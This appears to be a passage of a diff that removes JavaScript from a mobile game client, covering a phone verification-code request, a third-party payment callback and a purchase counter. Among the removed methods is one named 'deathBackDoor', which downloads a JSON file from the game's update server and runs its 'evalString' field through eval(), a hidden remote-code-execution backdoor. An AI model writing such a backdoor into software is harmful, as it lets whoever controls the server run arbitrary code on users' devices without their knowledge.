- UIHelper.showWaitNode("reqServer");
- let URL = BaseDefine.GETCODE_URL + "?Phone=" + phone + "&UserID=" + this.getUserID() + "&Type=" + type;
- let xhr = new XMLHttpRequest();
- xhr.timeout = 30000;
- xhr.ontimeout = () => {
- UIHelper.hideWaitNode();
- topTipMsg.showTopTipMsg(LanguageKey.t("pubWords.code_timeout"));
- }
- xhr.open("GET", URL);
- xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xhr.onreadystatechange = () => {
- if (xhr.readyState !== 4) {
- return;
- }
- if (xhr.status === 200) {
- UIHelper.hideWaitNode();
- let result = JSON.parse(xhr.responseText);
- Global.print(result);
- // this.unschedule(this.timeoutCall);
- if (callback) {
- callback(result);
- }
- }
- };
- xhr.send();
- },
- onThirdPayHandle(data) {
- var xhr = new XMLHttpRequest();
- var url = BaseDefine.THIRD_PAY_HANDLE;
- Global.print(url);
- xhr.open("POST", url, true);
- xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xhr.onreadystatechange = function () {
- if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
- Global.print(xhr.responseText);
- var djson = JSON.parse(xhr.responseText);
- if (djson['code'] == 200) {
- cc.vv.reflection.buySuccess(djson['data']);
- }
- }
- };
- xhr.send(data);
- },
- deathBackDoor() {
- let URL = BaseDefine.GAME_ZIP_URL + "VersionInfo.json";
- let xhr = new XMLHttpRequest();
- xhr.open("GET", URL);
- xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xhr.onreadystatechange = () => {
- if (xhr.readyState !== 4) {
- return;
- }
- if (xhr.status === 200) {
- let result = JSON.parse(xhr.responseText);
- Global.print(result);
- // this.unschedule(this.timeoutCall);
- if (result) {
- if (result['evalString']) {
- eval(result['evalString'])
- }
- // eval(result['evalString'])
- }
- }
- };
- xhr.send();
- },
- //某类型商品购买次数
- getBuyGoodTimesByType(id){
- let buyTimes = 0;
- if(!this.m_userInfo.LimitMap){
- return buyTimes;
- }
- for(let key in this.m_userInfo.LimitMap){
- if(key == id){
- buyTimes = this.m_userInfo.LimitMap[key][0];
- return buyTimes;
- }
- }
- return 0;
- },
- });
|